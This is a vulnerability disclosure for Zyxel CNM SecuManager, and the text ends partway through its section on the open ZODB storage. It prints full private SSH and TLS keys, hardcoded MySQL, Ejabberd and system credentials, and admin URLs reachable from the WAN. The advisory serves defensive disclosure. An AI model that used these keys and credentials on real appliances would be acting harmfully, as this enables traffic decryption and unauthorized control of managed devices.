Multiple vulnerabilities found in Zyxel CNM SecuManager

Product Description

The Zyxel Cloud CNM SecuManager is a comprehensive network management software that provides an integrated console to monitor and manage security gateways including the ZyWALL USG and VPN Series that can be extended in the future.

Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.

Vulnerabilities Summary

The summary of the vulnerabilities is:

1. Hardcoded SSH server keys - CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319
2. Backdoors accounts in MySQL - CVE-2020-15320, CVE-2020-15321, CVE-2020-15322
3. Hardcoded certificate and backdoor access in Ejabberd - CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326
4. Open ZODB storage without authentication - CVE-2020-15327, CVE-2020-15328, CVE-2020-15329
5. MyZyxel 'Cloud' Hardcoded Secret
6. Hardcoded Secrets, APIs - CVE-2020-15330, CVE-2020-15331, CVE-2020-15332
7. Predefined passwords for admin accounts - CVE-2020-15333
8. Insecure management over the 'Cloud'
9. xmppCnrSender.py log escape sequence injection - CVE-2020-15334
10. xmppCnrSender.py no authentication and clear-text communication - CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338
11. Incorrect HTTP requests cause out of range access in Zope
12. XSS on the web interface - CVE-2020-15339
13. Private SSH key - CVE-2020-15340
14. Backdoor APIs - CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346
15. Backdoor management access and RCE - CVE-2020-15347
16. Pre-auth RCE with chrooted access - CVE-2020-15348

Technical Note:

The attack surface is very large and many different stacks are being used making it very interesting. Furthermore, some daemons are running as root and are reachable from the WAN. Also, there is no firewall by default.

Details - Hardcoded SSH server keys

By default, the appliance uses hardcoded SSH server keys for the main host and for the chroot environments as shown below. This allows an attacker to MITM and decrypt the encrypted traffic:

```
root@chopin:/etc/ssh# ls -la /etc/ssh/
total 176
drwxr-xr-x  2 root root   4096 Mar  6  2018 .
drwxr-xr-x 77 root root   4096 Dec 20  2019 ..
-rw-r--r--  1 root root 136156 Jan 26  2018 moduli
-rw-r--r--  1 root root   1669 Jan 26  2018 ssh_config
-rw-r--r--  1 root root   2522 Mar  6  2018 sshd_config
-rw-------  1 root root    668 Mar  6  2018 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar  6  2018 ssh_host_dsa_key.pub
-rw-------  1 root root    227 Mar  6  2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Mar  6  2018 ssh_host_ecdsa_key.pub
-rw-------  1 root root   1675 Mar  6  2018 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar  6  2018 ssh_host_rsa_key.pub
root@chopin:/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12  root@chopin (DSA)
256 04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57  root@chopin (ECDSA)
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44  root@chopin (RSA)
root@chopin:/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQCdYajCHQF9wLkG+i88infBPbLkhE3cTTRHCbE5/vQ7/SdSdGH7
WlNJh9EkTdz17XDJW53y5IRz8SSxC0M3BXszcGQcHqqTtWVIpv08D5WztWYgQctA
RJDcu1rYZvtPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIROFNuQPAeBMfiQIVAIqq
ufhcUfFSN4QJmMIgtpB6sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVkNggYkU
zfWYGxat4acsIwCAHy50k+oUnFxbVy9kp5YpGjp6uEWLegBIGQNBDxKmORp6Zvq7
MrWMaAL5VK0aJt4DiKQgGz4y2csCwRj6ioifxwBZLXJ+AKv4g7pRwyTDMVl6Gcy/
McgvCePGAoGAGb3elvsIcuDlbiQ3aCohhOpxLcMhgLblRde+eRJJywvKrat4njJd
2jAdVvUA6N76sPaxEPl8oQJiZlA76Qp8G6PMYsjJGsD8olGdjOpMNcDlI9wLgAKS
66DrS4w05RtHV43mb8NAVqC+wxlgwtbY3/A+X0faEOuOkPf3o0UVCi0CFGj4gg+A
+eDbJtE7Lq5vw8qBFHcq
-----END DSA PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEII/rgKz6KXFYu9gjlaasMA7F4fA5bvy5nYFL+GSDVClSoAoGCCqGSM49
AwEHoUQDQgAETS0b/mPZ+x/F5NtfKGOkuMvx3AZL6MW9LkV64igIFgb0kUvoGjXx
f0iXR5Rgtgec6fatdKGYPsRTz3eBzKSNzA==
-----END EC PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJurWGs/nYVs+8vFRBVU
2lQqTTZkRTAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq
LUY4nvZfTq/qmClxtp/Azg4Z495vTbMT34llTKcyGIyN7AglESiQ2iKU9BvRAwuN
xxIDBBmGGNSkyWC+T1ZiiuK8cfN5MgVpDyO6HcgJuaKgH8jjcbCUUizmUKJ7495i
itXll2uD6/WNHl8gikRNQBg+3Qpb+BEeTkWzaC+XgLADz+w5GQxreXW4T2yh5vtU
ph9ZT4j8EdEVig72rw6KlGguu6R97UylPHrFMwIDAQABAoIBAADyS53VM8Xo3FpP
HMf9KZTz/THTSnX/xnCgO2uaBcTmrpXEFVC67FbZNQFJ26ZiAThFiG1OASOkO/o6
yR61W+SHgSSPlEqpymL40IvtBx2jrp91e3rnghPB7NMzUSWFf1KLSFBWpOtepE/K
wvm95ey2BDMwXOUzf5yb9EjHvqNtfKVgAqBIM3wdGQ5cN3odYC9hBPVh9SM11IQM
P0fkOPqgMgQWoX7qOGhfx0lGBidq4XATkBikF8saY19Qc9td379UXyXT2rzHV1zq
epD9jbzu41DJ6btZReGU+ZzeFl8JFhxjlKaIObglrRxlKuYA1IE0+B5DgL1CBKcD
ahQVELECgYEA9WW7jDkgy1MTtO9tBM1yuxW7LBwvUkWJQ334IbTcmr2fmBMOZZYl
4gpxblWDCGJ8tkO1AvLopxputuFE1kBHgeXip0UlhYopK5lybXnMyVgHEipNzhsw
0qvgCzk+Cc8FUDsHtm1BJkuZREce50mcbEnTLmtbaod8MNT3AfnGHCsCgYEA6Zrb
jq9faU6FMrPH5BFSeNLVH+FgrmiEVxY8G8mjqThBumY2WIgM/Sg612IJllwYCvq7
PEkyKCBmpKcKM8zICLxM4AUctuPnhwFsVsAHfXu1sRK059US/EdqHdrVf0Eiyzmj
LV3zOSPq28TkvVfNkNSe3y4FXsOhc+G+6QoyjxkCgYEAr4MAfY0KeIHFsX4g0fOD
IG2tfiH2cnhLcVsyUiFCOuZus9zFSkD2fVIMyOYeHqwaGF4ao65KWeHc164MhtRY
kH5z+kDJUlZ7lbRdFBGuNz9fZ02ccl1ePD8zsbNSPL+1RCnEHWTM2O/vAdeAMdoD
J6wxf5zHOE0ItQBMXjxfxhsCgYAWd4VMOMOlXh7jXHUKEzxqUGSc91EUFQs9UO8h
AQiTesyff7sUUqllI5xdIJmpc1wAmlKtnqCLSWp1xXbuunA2nt2J4hP75vlae6GO
ylMuF1rHF/R8I3r69mdXTbeg0IPnJbjy4QlGYpTw5APXzf0AQ+Kvtj5f+dKqUXjJ
8ugf6QKBgDXRRHhFlFlJcDmMV+USaPfF5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa
QJLAS+rg1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpP56e9DX/cWF/r1pMSvE
ceH7BAFV9daHQUoz4ljrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB
-----END RSA PRIVATE KEY-----
root@chopin:/etc/ssh#
```

Same problem inside the "Axess" chroot:

```
root@chopin:/opt/axess/etc/ssh# ls -la
total 176
drwxr-xr-x  2 root root   4096 Mar  6  2018 .
drwxr-xr-x 81 root root   4096 Mar  6  2018 ..
-rw-r--r--  1 root root 136156 Mar  6  2018 moduli
-rw-r--r--  1 root root   1669 Mar  6  2018 ssh_config
-rw-r--r--  1 root root   2489 Mar  6  2018 sshd_config
-rw-r--r--  1 root root    668 Mar  6  2018 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar  6  2018 ssh_host_dsa_key.pub
-rw-r--r--  1 root root    227 Mar  6  2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Mar  6  2018 ssh_host_ecdsa_key.pub
-rw-r--r--  1 root root   1679 Mar  6  2018 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar  6  2018 ssh_host_rsa_key.pub
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f  root@chopin (DSA)
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85  root@chopin (ECDSA)
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35  root@chopin (RSA)
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5XsaxUc++QugyxILRA
kWskEqtq+E1ZkX5H52lzguxsVVzWSvdII8yDJoHO26X51o/hLeT20LPokOWQgnoT
eziWd3wEYBYIyko6cBNnQICKFY4JUgo5xVfV4kVFjdqKYM6p5BFyBHSddQIVAOw/
SpLXgrkXAcQ7nUXdhQcAjbT/AoGAMuwFJlCkAV9GSRfElQZkljMG7/P2svnoN9H1
XgZ6mCuIQ/8HNcTgkXAuDZ64RL/QGK+ClhGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZO
h49SoS6IJ+sFb6cHApXrgBgZv0O4FbpL8o5Tl6U2L0i3mlCXMGUSFAzpFTjwxcYG
fDnzrKoCgYBNcFwsJtr5ElvfUHwKoyXZ0xT3PswzL4VCSD9SAASI8VhT2LdYTk7Z
/0q4E9rUPZP4BNehb9juxGNqjW0wcXNnr0VDuN0vz2Vv+nKG6u8KIc1RbKs8J9H5
zzHRidPZLVdU0vVRrM/1kVvIF1Zpnl9Ybuz2Ra5ZHPFhJ4SoqbHFRgIUBX+oAX4Z
ffkRUot9igOsNx6txoU=
-----END DSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49
AwEHoUQDQgAE116tsZ+HvPjDY4VvgN76fP/XF6DMUd75vY5DqVR2Av68KSUh5Ns9
yhOyfcNB89XBABE2VpM4h0yljhqwFASQCQ==
-----END EC PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyaNk4eTtEKfkcpTQaxB/LL2A/XQhljt1UF22yJUYXh0VJCCJ
SNn36QbNOeI9qsaohlFobaM1ithKyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bD1X
5/M81OJjjQ9iXUXx7/XrT/Of34QMvOjfKsOmtMsUYbk9Qf9G0so58yYGlNMSKNZb
6O4flsztM1LIPYXLZV4uQrV9BjUhSpumvYGc93fw88V5fYEYfGcF0pUVEfBvgGvZ
50558GR+A1LF6IdVbmViAZ6HgxiMaM85F2h7QBbt3SrNOfTO481EBD4j7ipnBpJM
KuRPQQH7KxKEzi8VaE4qVU0eZcIGeMeRr0prnwIDAQABAoIBAAohsKb9FsBYf00W
lyZaDNnVp86UcD+ZOzrPiqinfTL1aSOIkv1bHm7SDavT519WXg9ptcKUidMxLQjj
Uh2aKlWEKI76qbeIGvRMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTb6VsjnL68vu
M5B1hkHdVmfWo/JV/lwHF0RVa808eulp96xjvHEoHziVFKCXEsS1UDl6h2/+oI1n
5oIPGn7JTU1zGkpf53oDZla0GiO76JtYadGn4NU7g6Y1O3xweqgzKDJlIJhC5rL7
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8HvONyVsulv4qJoCKYKdXzp/vdf+rkKApuq
mTNxSkkCgYEA95y6gCSo1d/plJijGJdD1NT/BS/yMbq78VaIwx/8hHEkKXVedfdk
hEvh8eBxjnkogR3fgPEQSfyu2N4CEYVTdJS72+4hgNRgMDW8ToawqkHnuBfH2+Wp
kFqiw9rPsE5I/MsngSXOVBPipQWk+5HKNlN8AcD7stefuHjmTPrAJfUCgYEA0Hf7
vqn2ZO6Vk3oW6NB+fshWsSK4BzskkB21I/zcMzLFla5qJMKAQQNwmtFgLPl8kvEz
ZkAK1yneKDz1JmF+vC594WDkk9RO3oB0KcYYJSplccaVgGfUiAfvpRMBYwrx6CWS
2GgBkxIpg9XE/XPQlDAl5P5wMqXJtS/AjMSEOsMCgYEAtf0Tdit7i/ZOj1DATsqe
qEcESKO8tqAwkmivi/pudklR8sa47qstza6YGlaEH9sc0glKxFJpTnfRasOBca80
b3MBv9t99FojeEuGY5DLN9fIn52a3xwlTfvRVXH1Q/fF3UbTejB3PYSACBnl8KBu
pw8lDYTxebjRQ5xYaCvEHiECgYEAmInSyRZwVjZFeF3zeXNlu7s3w/FVmuTpwhIa
wzR4o3XZIcc3n6I6Wlf8AyyFJSOAxbx8Eat2wy29gs/nyae5JlUWgt11I75L3386
gH6UmE1HYVMffY978fVsousfLquJioZDxtmDnWvCuNaoh5RA4M3CTKbozgaFa3B/
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfxMKZqMffrIdjBhMjWSqlY5+M8EHC
7ufXlwa2v2bNmBZCtHYWSAM061BhEwxW/cDo29V9ncA0kCiwYVKYuof27ziExp1A
530+t7PjU4CKCaNzVcuW9ivQ0HkBnMNAqHGR0lOSBk4Qfizfz2wzLD8=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh#
```

It should be noted the private keys are using wrong permissions and are world-readable (644).

Same problem again in the "mysql" chroot:

```
root@chopin:/opt/mysql/etc/ssh# ls -la
total 156
drwxr-xr-x  2 root root   4096 Mar 18  2015 .
drwxr-xr-x 66 root root   4096 Mar  6  2018 ..
-rw-r--r--  1 root root 125749 Apr  3  2014 moduli
-rw-r--r--  1 root root   1669 Apr  3  2014 ssh_config
-rw-r--r--  1 root root   2453 Mar 18  2015 sshd_config
-rw-------  1 root root    668 Mar 18  2015 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar 18  2015 ssh_host_dsa_key.pub
-rw-------  1 root root   1679 Mar 18  2015 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar 18  2015 ssh_host_rsa_key.pub
root@chopin:/opt/mysql/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 3e:46:e9:be:c0:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae  root@chopin (DSA)
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce  root@chopin (RSA)
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDWqnzU+ljijXqKw5vEG+p6euc73+CrIDP+JAqvD6udBLe8ojDi
8l3N8l4BxXKcTwGAEeHQMMtPthNvPrO4IMVdf9Z/3mhRhX9x7NB/Fm7JrCjDwY4c
x8R+inJk9y86ow7fUodKfN9nt5Zh6FsfPs/0vq4Mg2MLjUkiau3UQy7mhQIVAOCr
fau8ONhgh8vCPvw8mIVIJnmbAoGAEqWt4/b1D7Fevf3b2afmMt02zUDNIvlxJjhL
EcG4Q6FxT0WwKIdBGDeOaB7gGR7acWvfr5yrMhQLgvAWMhdlkG0UY4Q/2Kh0PR1p
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznFbHv+AUDZ6j/KRpU1e/
Pi//Yl8CgYBCt5jPU0bIymiXaX3FnDNBoydI9lmU0z8qVDDp49vZdOJnemtzU7d5
4k8UGOoBSZ12PC+W0ZNJNH5jWA2DV5+Pajq+UsYW6JHog8PMHmdLDo6+yF96avsE
8bGrSWqSV0NZ8g7NVRasuajJVZHoe1gpENTvd+LxbKHiv7f4bvqGQwIVAMS7rCpe
UyV29YpCEwVrL5CXEAeW
-----END DSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvnS8NXGuXVlFTmotghmZgNE3weboUbqiUjznYqZlaIbvhvS5
GYlVZMYgtEj4y2+perz9wuvdv8/M+it3cc4XfQdpASY1niL/P5M304tD+9ah/z3A
VD1OxDRevC7LQlkXOFJrlQ5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy71O
0ZntWSkjnH79+OA6GqKJ5S9PNhqaFWmB76kBbf21iWki2acIErhGg9ThnmR0vFRy
/QqeH8P83RDXYzd0nkLgxjL3GNI+Y/Dw+h6ks0zNoGIGfE1QsFc3gtkv8B28uomV
fTo5xLS+/UKKmZnCq0UPC3cElskhAtYMYfZgkQIDAQABAoIBADnl3O1WUM55+/K5
nnoFdD/P2mZs3sUxunTLpP+9W+ip1JkvPjIAKOCIxppn8JJPsLLqTy55a6EK9+I5
YodLQqK0pPw/dF9Nf1ECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz
9RN2NEN3OJHLd4b7A04Trvny6Mr5zYe6bXgLK7DZRzE+dAUVIP4XVltdFh26KlhG
UvO2ihU+Tuz9AxhP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+QWXmoS6gcWnYU7
3LohV9Kn8lpDiu/lB7dQz/awyWaEKOf1U+p473qmH53+HahT50Apj27djtF4lvEx
Lfv8ct0CgYEA6wMyHEzVh0OLJNJ2J3RgebsfukTigM8QQqMKWqUep55/66W/85QL
mejFd2ipOJZF/VV/fqw+ocK8Z9ztlW2S0O3JRC29Gs7icwvUnErr0g7k5Xs3m61N
pteRH1ATxW+bX12I9BWpQv6jMZcR1xXNz4yn0XSumZz/vZ7ABxntR6sCgYEAz3bm
FECHPRtzg68/eHPbZ+A+3sD7vuH7AuD1X6yWozWgdE7aGf0wG+CFerNQBgqkv1R6
JMOT/lqQg/T8j/EWuGfIQcHHso2/ePSPl08YsAaXdmy2f+OSNC4CqdCeBLRgFvjt
gxhge8iunu/tWUsB9iAiBPS2bsQVX+ymDE7TzLMCgYEAi39BHmVJFdo03K2EbtT4
cylsos9Ct3yxRSyr97QtZweBHOos7zOAU2JE3CUm1Sz17HL0k8dAAhqqZOhRqjH5
RMTwg+S2bBRDfFCYahFauzwWCFVEY8bR4efw/2oz4izmSAwoP+Ifr2Ggks3+S/Jo
UPtHnd+pyArWDsMNbumn27MCgYApOpe+rpQxsKLkKI+UgHG50varje55oK8hg1NA
ECxfgujANGtjfs1wvM3J9JiSmsriuwcLB1MB2T2e+7C1alP5kaZaawgkk8bZYsCm
cTGWybiP8ErUX4VOmVYuKSc+CBqQdie9Rbrm3prVOxkQBbf+EaSxF3Cp0o3s4jqd
d4zfwQKBgQDeZmWqkMX/vmwV4GzgV2FRNcVry5nNWlt6wroF7DEuA7WGAZVRSBx0
nPzDkq3jorJEzXBmIwMNy3IN5NIdin/GSxbMMwx7JvKaPVKw5GubmICO/T9hVurJ
2RnfOAuZaMQ1bZSD49jEV30cxBM/gPORyyAHGrlyG2kHoXan5aDcHQ==
-----END RSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh#
```

Hopefully, the root account has been disabled in the /etc/shadow file (`1234` is the password if the account is re-enabled).

The management access using the `secu_manager` user is still vulnerable to MITM/decryption.

Details - Backdoors accounts in MySQL

MySQL is pre-configured with several static accounts. It only listens to the loopback interface.

Credentials:

- root / axiros
- root / axiros from 61.222.86.79 / zyadb79.zyxel.com.tw (HINET-NET, Taiwan)
- root / axiros from 118.163.48.108 / 118-163-48-108.HINET-IP.hinet.net (HINET-NET, Taiwan)
- root / axiros from localhost
- root / axiros from chopin (127.0.0.1)
- livedbuser / axzyxel
- zyxel / ?? (hash: B149E2C1869FF94FD5ED8F2C882486599B4CF8E4)

The access have been extracted from the previous mysql history file and several configuration files:

```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED BY 'axiros';
INSERT INTO `user` VALUES ('localhost','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('chopin','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('127.0.0.1','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('localhost','debian-sys-maint','*D000798D1C7EC350F7AA4E44B2D68A0770B85194',[...]
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEEE35FA06B',[...]
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C882486599B4CF8E4',[...]
('118.163.48.108','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
```

These passwords are **hardcoded** by the vendor and used everywhere:

From collectd:

```
<Plugin mysql>
    <Database live>
        Host "127.0.0.1"
        User "livedbuser"
        Password "axzyxel"
        Port 3306
        Database "live"
    </Database>
</Plugin>
```

From Axess TR-069 solutions:

```
root@chopin:/opt# cat /opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt
[...]
server=127.0.0.1
port=3306
tablename=CPEManager_CPEs
[...]
user=livedbuser
password=axzyxel
[...]

root@chopin:/opt/axess/opt/axess/zyxel# cat zodb_checkout.sh | grep root
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects > /opt/axess/zyxel/zyxel_customizations/dbdumps/policies_
table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers > /opt/axess/zyxel/zyxel_customizations/dbdumps/alarms_t
able.sql
mysqldump -h 127.0.0.1 -u root -paxiros live AXServiceDefinitionTable > /opt/axess/zyxel/zyxel_customizations/dbdumps/
services_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live CPEManager_CPEs > /opt/axess/zyxel/zyxel_customizations/dbdump
s/cpes_table.sql
```

And from various places inside Python code:

```
/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc
db = MySQLdb.connect(host='127.0.0.1', user='root', passwd='axiros', db=cnmid)
```

Also the system account `debian-sys-maint` is using a non-editable hardcoded password `wbboEZ4BN3ssxAfM` :

```
root@chopin:/opt/mysql/etc/mysql# cat debian.cnf
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host     = localhost
user     = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
host     = localhost
user     = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
```

Details - Hardcoded certificate and backdoor access in Ejabberd

Ejabberd is used to manage all the CPEs connected through TR-069.

The Ejabberd process uses an hardcoded certificate along with a private key:

```
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.cfg
[...]
  {5222, ejabberd_c2s, [
                        {access, c2s},
                        {shaper, c2s_shaper},
                        {max_stanza_size, 65536},
                        %%zlib,
                        starttls, {certfile, "/etc/ejabberd/ejabberd.pem"}
                       ]},
[...]
```

Content of `ejabberd.pem` :

```
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.pem
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQDppPTghA6irhkzfDA1PyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ
15CV1rPKKxH1UguIfNHTFfyHC0Td478IprCYuiWE6Yw/5/NTc0pHkW3MeYllc711
R6ZtKTYbn3n5HbmHJzluuBm8qWdgyO2HAG0l1uf5P29Nerra0LMj8MKULwIDAQAB
AoGBAJfMH3ja83NIL4FetydxC1FcnABczzgM+X34jDUF0U8l/1vtrRQj1IE1S/wW
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryGSzqh/LkG0+tG
ojXjIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92GiyWGTFnhAkEA/Z8Dhxhu8ZNK
nBl+lkE6X0tCZ0kn1Hkq8zIKWVvSsu859u7t7+5/LoBRYkqx0FwoPl2+uBY6BtQV
0AQT/S5d3wJBAOvV+ad1JnGO6gMEnAdtwv0fvBlUB1arisI+CbgUOf9PgPITwEFQ
CvQWktVB8NjjxdaTtYskYvK4NU4SIKCH87ECQQDRcEcRgPPdOq0aS1Nl8Weq2hN0
B82EgKsfOeuh71oHudY8PQLwaBtO41hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA
1oLTyYCijiobKtGXhp5M/OZPto4a+refyBybxIcJVfQf6pESj5XZ0Llzp2yKQQ21
Fv9V4xEeu33YZoHQkZP3kQJBALJPeT67cR8H7k4FdGXFh6vJdNILZ/91ac9cFZf3
ZjabcZWnSgn1QD9ARV/Cd2dsX3xGY4vuoM4hvwjHKAMWHhg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV
BAoTDHp5eGVsLmNvbS50dzEPMA0GA1UECxMGY2hvcGluMREwDwYDVQQDEwhlamFi
YmVyZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uenl4ZWwuY29tLnR3MB4X
DTE1MDQxMzE2MzIxNFoXDTE2MDQxMjE2MzIxNFowZDEVMBMGA1UEChMMenl4ZWwu
Y29tLnR3MQ8wDQYDVQQLEwZjaG9waW4xETAPBgNVBAMTCGVqYWJiZXJkMScwJQYJ
KoZIhvcNAQkBFhhyb290QGNob3Bpbi56eXhlbC5jb20udHcwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAOmk9OCEDqKuGTN8MDU/INX9wnOM33jqZRXa6rg+IjdS
TmBohlnXkJXWs8orEfVSC4h80dMV/IcLRN3jvwimsJi6JYTpjD/n81NzSkeRbcx5
iWVzvXVHpm0pNhufefkduYcnOW64GbypZ2DI7YcAbSXW5/k/b016utrQsyPwwpQv
AgMBAAGjgckwgcYwHQYDVR0OBBYEFE1fcSfVUJtFKuVzIr7Ps8lasbKYMIGWBgNV
HSMEgY4wgYuAFE1fcSfVUJtFKuVzIr7Ps8lasbKYoWikZjBkMRUwEwYDVQQKEwx6
eXhlbC5jb20udHcxDzANBgNVBAsTBmNob3BpbjERMA8GA1UEAxMIZWphYmJlcmQx
JzAlBgkqhkiG9w0BCQEWGHJvb3RAY2hvcGluLnp5eGVsLmNvbS50d4IJAPvsRdD6
v5ITMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAECFhOm4y+Ad31tXd
Nfl2XyU5g6arxLMlrH2sSUcne2EkRNUZsKoEM0MkLUir7oBDqf+gd9dC92zF7qrr
iaeOrMVtFpNu3lBx/YSubhENDyegalWT8zi4TYdxz2ehExGpl0SRjhtrdqs99R+2
gm711P4aV1TQaC+WMpkIP6eyIMM=
-----END CERTIFICATE-----
```

Also, the management webservice is reachable on the WAN interface on port 5280/tcp. It allows to list accounts (linked to CPEs) and remove them. The authentication is using hardcoded credentials:

```
http://[ip]:5280/admin/
```

An attacker can visit the administration, manage all the CPEs using the default credentials (`a1@chopin` / `cloud1234`) and create some havoc:

```
http://[ip]:5280/admin/vhosts/
```

These credentials are hardcoded inside `/opt/axess/opt/axXMPPHandler/config/xmpp_config.py` :

```
XMPP_PORT = 5222
XMPP_SERVER = "127.0.0.1"
XMPP_JID = "a1@chopin"
XMPP_PASS = "cloud1234"
```

Also, the permissions of this file are wrong and this file is world-readable

```
root@chopin:~/pre-auth-rce-4# ls -la /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
-rw-r--r-- 1 root root 1738 Mar  6  2018 /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
```

Also, the shared secret for ejabberd replication, called the Erlang cookie, is hardcoded:

```
root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie
00000000  42 41 4b 56 41 55 48 4d  51 52 49 53 49 4a 59 55  |BAKVAUHMQRISIJYU|
00000010  45 56 4d 4b                                       |EVMK|
00000014
```

Details - Open ZODB storage without authentication

ZODB is a native object database for Python.

By default, a python process managing the 'Zope Object Database' runs on the appliance and is reachable over the network on port 8100/tcp without authentication:

```
/usr/bin/python2.7 /opt/axess/eggs/ZODB3-3.10.5-py2.7-linux-x86_64.egg/ZEO/runzeo.py -C /opt/axess/parts/zeo/etc/zeo.c
onf
```

Configuration:

```
root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf
[...]
  address 8100
  read-only false
[...]
  path /opt/axess/var/filestorage/Data.fs
  blob-dir /opt/axess/var/blobstorage
[...]
```

Futhermore, by default, the logfile contains multiple (=~ 100) entries from 2016 about 'insecure mode setting':

```
2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/ has insecure mode setting
```

The blob directory has wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr
total 16
